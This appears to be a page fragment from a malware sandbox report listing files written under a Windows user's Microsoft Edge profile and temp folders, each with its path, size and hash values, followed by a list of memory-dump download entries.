Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 90cffef95ab0530c69efc5f08effd8ca27538abac983b57b92faf12d5c54c118
MD5 ff6bd7df2e981ca256b049f706076f29
SHA1 285df6e20d41d3fd60e8e1cc4b99cfe3782802e1
SHA512 91a3537db524dff73e82d8d1667ab2d0b55ff1320cbe9ee278681506575fb37555f649fc8972f2c62eba67167dd4b06e549314a8f51a3ad189e2c74d09a5ba7c
SSDEEP 192:sxR5RyC//fVspegvZJ1BzoA8p9G/g6+WNCM7fYoWkY7GgIgDn+qtJ:sxR57//fVspegxck/5lftqD
TLSH
T10F42B71A6964993B9CC7D21DBE55BF53E2F95032B1952E48A7FC870C04E6BDE230780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 6ba77c270bb8b9de6ea3f642dacb3e7f7232dff3f4421abcabe50a8a8309a72b
MD5 19c948b629b77b6f2275fe42ece9bf1c
SHA1 9100978cc18b30a73d366d3318e2b7de8caa15f5
SHA512 59c2ef1a6edfc42dabdbbcaa114ac0a2b9de19d38ae43f41c495b8945c29300555291402667af6c4587a902e282c3392813fa33777a85cab066600a548a12c6c
SSDEEP 192:sxRmRyC//fVsyogvZJ1BzoA8p9G/g6+WNCM7fYo9kY7GgIgV+qtJ:sxRm7//fVsyogxck/5lfaqB
TLSH
T11D42B7166E68993B8CC7D21DBE55BF53D2F95032B1952E48B6FC960C04E6ADD230780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 23953358c98265e79e319955d633acba53ba9322446b77bc91a63ab0cf22fb13
MD5 1430fe361b35776643a749cd6edcfb5f
SHA1 d57ee364ef73998dc5ed15288278e0aa09b667a5
SHA512 01547ddc91b7032fd4ef065d82f167956d8d92473981d2ea399bc5534736bc70a20f2e0380ba7c40c110293cbf27c0fca5b2b5cd039bd7ce44013bf1b112a1d4
SSDEEP 192:sxR5RyC//fVspogvZJ1BzoA8p9G/g6+WNCM7fYo9kY7GgIgD9+qtJ:sxR57//fVspogxck/5lfaql
TLSH
T1B242B81A6E64993B8CC7D21DBE55BF53D2F95032B1952E48B6FC960C04E6BDE230780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 10b3ce830b30b29384e9d0d2825ef4c7c9486e57bc68055bb3b68355c9d703a2
MD5 8ba594cb60199d3402bbc88bba89251e
SHA1 838a14693ff6a68867ffa3f89bfa09ca5db3fe50
SHA512 950cdbb133096b86d5339b69f9ea4668cc73308f33112bb0f6bc39934f55c22a3086f84cea63fd8e311e7b92411cf3de2d7fe00d51da334c88a3084eace75af2
SSDEEP 768:j26HYc7pLuLf6RWgs2f028F1+UoAYDCx9Tuqh0VfUC9xbog/OVCaBVuw+ro9vsCZ:j26HYAEf6RWgs2f02u1jaBaB4wVmj0
TLSH
T1BED2DB7B640DCABE4F800ADDEC197E9F6D6802CB9698CD8047FE851C03C6BEA51164DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 946083db760f54bc2f7c77951578169c4d221d106e821d84dc242fb25244aec8
MD5 d76a62f268345cf2f1f06a2ad309bd92
SHA1 3d2fa590733271b3ec7184232df45519bdee80a5
SHA512 cf9618aefe23aa87720d5f7b6359fe58ab5395de1b9b29a9f22aa862b8f030df5d6d6c343b8972406788964bceefdd3002a9cceafbab97fd0253047755285357
SSDEEP 96:KREEEFEwE0EOEyE2EUWESE/EfgE8EUK4ERgE2EUcE0E0E/EuEUEJHGbqGAoouWY4:C3gFB31lERe1JDggH2vHG5FaHGbqGAou
TLSH
T17F91D015713A06C0787D6A4984F4D82E83D1B4A63416EA3B77E812BA4F2FE174DFD8C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

34ae9691-12b5-4c2d-81bf-945f76d0c416.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\34ae9691-12b5-4c2d-81bf-945f76d0c416.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 0838eef13ca65c2d93d3980c19fcff891acdf60628720caac3a617ea88c77482
MD5 161a86b2b032bcf9135793fbcc3d35a5
SHA1 ddba4acadab3cf59096e72968d58a955c934aaa4
SHA512 1373965fe4ee8212fae9ab100954aac2d7cfb2a70f2e131d43c0a53dd2b1eb747bd80b4c059f8caca2f7382d217c63d1c066ff3162d0888ce67063e598e5e55f
SSDEEP 768:Crv+4UNbdz3RjeDq/TBOWCuttHONXyer1IRCzni9FeVH1SK3:CbsbV3Rj/DSIqneEH1R
TLSH
T1C313CF31A4A9CE334DE2A396B14773437FB82067D5840B90EDE61F4E05979AE170F91B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 10956c8197f54d1add7f496c0fa462a066568dd42ff95a54d336a4a94f670eee
MD5 793bb83fce0a5b8c5bad14e4ebcc044d
SHA1 d63e4cbafda47219defde5a8e5f210f76c8508c3
SHA512 05676a3cd759461b6826a15883e2968daa83a11c8b5057cc56018332d6bf38b65d32a27e998dbb70822ff0bce819a8af7c4a367a9c0f4e4dd8c74cd9b4f453e8
SSDEEP 768:mM3AjeDq/TBOWCuttHONXyer1IRCzni9Fb9MM:mM3Aj/DSIqneb+M
TLSH
T145F2BF31E4658E338CE6E396B1462793BEF46077D5C44B44E9EA9F0E095396D070F81B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 44KB
SHA256 b59280b48b70ff76c2e621a61cabfb78bd4901a860083ada35c40e60fec079ed
MD5 b61cdb70db7a8d4e1b8b396419fe3ef5
SHA1 6b6caf21694ef99c07c01fa5da07d33c6cd4da50
SHA512 8e3ae0c95752d6c13e6f6c628a03091a6e898736a1c5e687a1e420f59d87880b0134717eb561dbabb0c278b7ef9e20f6fb377224c7e65accfe7992917ce17f2d
SSDEEP 768:yFQR3zwg0jmDZVsOWCuttqONXyer1IRCzni9Fb9MM:JR3ujIfSIqneb+M
TLSH
T1C21318F594D38A36D8AE9783A37D6E469DFCD063B5884980BBD55E0DCC8257FC30A805
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 27934078139ee9aeff802f3a69a0ccbba57ee8c9ae84a514cae08c746777f75c
MD5 416a08d4d1778b319377c4e50b600668
SHA1 342a29045a4de1c783784d36173585822d96b473
SHA512 1fb2d16bcc4f469ed9728a0d976a13bbdc7359926f8619997f137f854f0edf1440dff584b80fec0d8b0bbdc025b84f6d17049f8a6c1b948d60e456ea08c79f66
SSDEEP 768:hrv+4UNbdz3kz/TBOWCutsONXyer1IRCzniBmeVH1SK7:hbsbV3cySIqnlEH1l
TLSH
T1BF03CF36A5A89E338CE2A3C6B14773037FB86057D6840790EDDA1F4E069B99E130B957
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 c92169eb82ed2af332d50805b16ef0856270bda15abddc43207de987c5c62a00
MD5 fea9a81a328904b05bb0f5f66bae161d
SHA1 af6649dc10b714aac55103a8216801597192f6e2
SHA512 af66e04090230b0b75d231abc660663279a2c889149d815050ea677f97e14acd5d86ca3ab196ea81d016d8ebe739f01b7ff506944e36ed58dc77a2fa42e40260
SSDEEP 768:7rv+4UNbdz3GjeDq/TBOWCuttHONXyer1IRCzni9FeVH1SK3:7bsbV3Gj/DSIqneEH1R
TLSH
T16A13CF32A4A8CE334DE2A396B14773437FB82067D5840B90EDE61F4E05975AE170F91B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 537fdc792b6a71c2cb227f94dc1dd28b4f4f16f0a7e20bc9cb8b5c0792a33253
MD5 8cd566223b9896330bc2e14984ddf5d8
SHA1 d6df73f14548e6ef340f1d2f24379d0c75d6187f
SHA512 ae6962eba984b39b1139e2953b583b69597ee6b77c0a6c9c96b2bb569a2d9b0c0c7aae071970ded1fffe4a055f1adb43bf94698e4be6a3cb70e26e0cb91f2eb6
SSDEEP 768:Hrv+4UNbdz35m/TBOWCutt7ONXyer1IRCzni9FeVH1SKk:HbsbV3cHSIqneEH1m
TLSH
T19503BF35A1A9DE334DE2A396B14773437FB82067D9800B90EDDA1F4E069759E230F91B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 aa807e4f1b970e487ba89b4ed9f5455dfb3acaffb192b8736b7bd0ccf63b8cf5
MD5 880fe67d2d8def8a73d1f09d09f8f2ff
SHA1 adad7fdd0652919461f89bfe36b449081489052b
SHA512 dec205f202a88afbf96f8015158638483f643ad02a9549b9eaef405a32a1ef2b2cf9c9480d70ccb43ef9ce64818827c6fe3cd27267f657cc33cb6ace9619d87a
TLSH
T18CD02B80043D0A82CFA50A5EE41749F810C44918759C197804CDA4D5501A067315881D
MD5 SHA1 SHA512 TLSH

Submit Download

299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
Size 153KB
SHA256 299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
MD5 c4a20d073fe58488935da829aae6fa17
SHA1 dbd31aa3dcd1abd3d554d29a9bca83bab02709d5
SHA512 61f74480d3471180f14e2171be6f5e33ab0a03a7a4837334695556a9484da1a862cc059969834d4950a038ec97f192805e5e718cd2a280aba675bdc9cee5d976
SSDEEP 3072:C0qfZ9r+hy+exmKhRts8o7SYbyqNDri8EBalnQt9RaBoAkaX2Ns:C0qfZ9r5msvoOGi8QQQbRwxmNs
TLSH
T126F3E02D6EDEC956CC0F61F96F29724BC50A4F0B818B648B624E881958F434E17E29FD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

65236972-560e-4e7d-9dc8-6a5feb9a61bb.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\65236972-560e-4e7d-9dc8-6a5feb9a61bb.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

metadata.json~RFe599939.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json~RFe599939.TMP
Size 132B
SHA256 ea13d57b11af249f90704dbcafd354c5e80b10358db7edb9eaf8f6fd597eb1d4
MD5 ae3a19c226264ff6cb64877f1e7e7243
SHA1 f993431dbd09200fd92b7a04ee6711a54ad95cc9
SHA512 97e5dbf0663585afbb5e0f2b5a36192624eb2c898462abef65225987df632d30f74f05ac5a71175c4c59f75d9ae6d2e640d168e479cb26b9a6857c71efda029a
TLSH
T1C1C02B85CB1E0C854E78153D48420B2727819F0030508534445A490C41741CE00888CF
MD5 SHA1 SHA512 TLSH

Submit Download

98383d8c-fe97-4125-8cc0-98ec35c904be.tmp

Path C:\Users\Admin\AppData\Local\Temp\98383d8c-fe97-4125-8cc0-98ec35c904be.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir6060_2004720501\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1536-617-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1728-604-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1952-460-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2092-565-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2712-421-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3256-659-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3268-625-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3368-485-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3928-538-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4112-654-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4592-510-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4992-690-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5000-569-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5124-497-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5420-645-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5808-550-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5936-649-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5936-670-0x0000000000010000-0x0000000000083000-memory.dmp

Download